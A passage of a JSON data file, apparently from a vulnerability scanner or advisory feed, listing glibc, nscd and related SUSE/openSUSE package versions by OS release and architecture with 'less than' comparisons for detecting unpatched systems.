Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-devel-32bit-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "glibc-locale-2.9-13.11.1.s390x.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-html-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-i18ndata-2.9-2.13.1.ppc.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.9-2.13.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "glibc-devel-32bit-2.9-13.11.1.ppc64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-2.9-2.13.1.ppc.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ia64", "packageFilename": "glibc-html-2.9-13.11.1.ia64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "nscd-2.11.1-0.20.1.s390x.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ia64", "packageFilename": "glibc-i18ndata-2.9-13.11.1.ia64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "i586", "packageFilename": "nscd-2.4-31.77.76.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "glibc-i18ndata-2.11.1-0.20.1.s390x.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "glibc-info-2.11.1-0.20.1.s390x.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-html-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "i586", "packageFilename": "glibc-html-2.10.1-10.9.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-html-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-2.11.1-0.20.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-i18ndata-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-info-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "nscd-2.11.2-3.3.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-devel-2.9-2.13.1.ppc.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-info-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "i586", "packageFilename": "glibc-html-2.4-31.77.76.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-html-2.9-2.13.1.ppc.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "glibc-html-2.11.1-0.20.1.s390x.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "glibc-devel-32bit-2.11.1-0.20.1.s390x.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i686", "packageFilename": "glibc-2.11.1-0.20.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "glibc-2.11.1-0.20.1.s390x.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i586", "packageFilename": "glibc-html-2.9-13.11.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-profile-2.9-2.13.1.ppc.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.9-2.13.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ia64", "packageFilename": "glibc-2.11.1-0.20.1.ia64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-locale-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-dceext-32bit-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-dceext-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ia64", "packageFilename": "glibc-2.9-13.11.1.ia64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-html-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-html-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-devel-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "glibc-i18ndata-2.9-13.11.1.ppc64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-2.11.1-0.20.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i686", "packageFilename": "glibc-profile-2.9-2.13.1.i686.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ia64", "packageFilename": "glibc-profile-2.9-13.11.1.ia64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "nscd-2.11.1-0.20.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-devel-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i586", "packageFilename": "nscd-2.9-2.13.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i686", "packageFilename": "glibc-i18ndata-2.9-2.13.1.i686.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-i18ndata-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-32bit-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "glibc-info-2.9-13.11.1.s390x.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "glibc-locale-2.9-13.11.1.ppc64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "glibc-x86-2.4-31.77.76.1.ia64.rpm", "packageName": "glibc-x86", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-html-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i686", "packageFilename": "glibc-devel-2.11.1-0.20.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "glibc-locale-2.11.1-0.20.1.ppc64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-devel-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i686", "packageFilename": "glibc-2.11.1-0.20.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "glibc-profile-32bit-2.9-13.11.1.ppc64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i586", "packageFilename": "glibc-profile-2.9-13.11.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-debuginfo-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc-debuginfo", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "glibc-profile-2.11.1-0.20.1.s390x.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i686", "packageFilename": "nscd-2.9-2.13.1.i686.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i686", "packageFilename": "glibc-devel-2.9-13.11.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i686", "packageFilename": "glibc-2.9-2.13.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ia64", "packageFilename": "glibc-i18ndata-2.11.1-0.20.1.ia64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i586", "packageFilename": "glibc-devel-2.9-2.13.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i686", "packageFilename": "glibc-obsolete-2.9-2.13.1.i686.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "i586", "packageFilename": "glibc-locale-2.4-31.77.76.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "i686", "packageFilename": "glibc-2.4-31.77.76.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i586", "packageFilename": "glibc-locale-2.9-13.11.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "glibc-i18ndata-2.4-31.77.76.1.ia64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "i586", "packageFilename": "glibc-profile-2.4-31.77.76.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "nscd-2.4-31.77.76.1.ppc.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-html-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "i586", "packageFilename": "glibc-info-2.11.2-3.3.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-info-2.9-2.13.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ia64", "packageFilename": "glibc-info-2.11.1-0.20.1.ia64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "nscd-2.11.1-0.20.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-devel-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-debuginfo-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc-debuginfo", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "glibc-info-2.4-31.77.76.1.ia64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-devel-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.9-2.13.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-profile-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i686", "packageFilename": "glibc-2.9-13.11.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "glibc-i18ndata-2.9-13.11.1.s390x.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-profile-32bit-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "glibc-locale-32bit-2.11.1-0.20.1.s390x.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ia64", "packageFilename": "glibc-x86-2.9-13.11.1.ia64.rpm", "packageName": "glibc-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ia64", "packageFilename": "glibc-info-2.9-13.11.1.ia64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-obsolete-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "glibc-32bit-2.11.1-0.20.1.ppc64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-html-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "glibc-32bit-2.11.1-0.20.1.s390x.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i586", "packageFilename": "glibc-devel-2.9-13.11.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i586", "packageFilename": "glibc-2.9-13.11.1.i586.rpm", "packageName": "glibc", 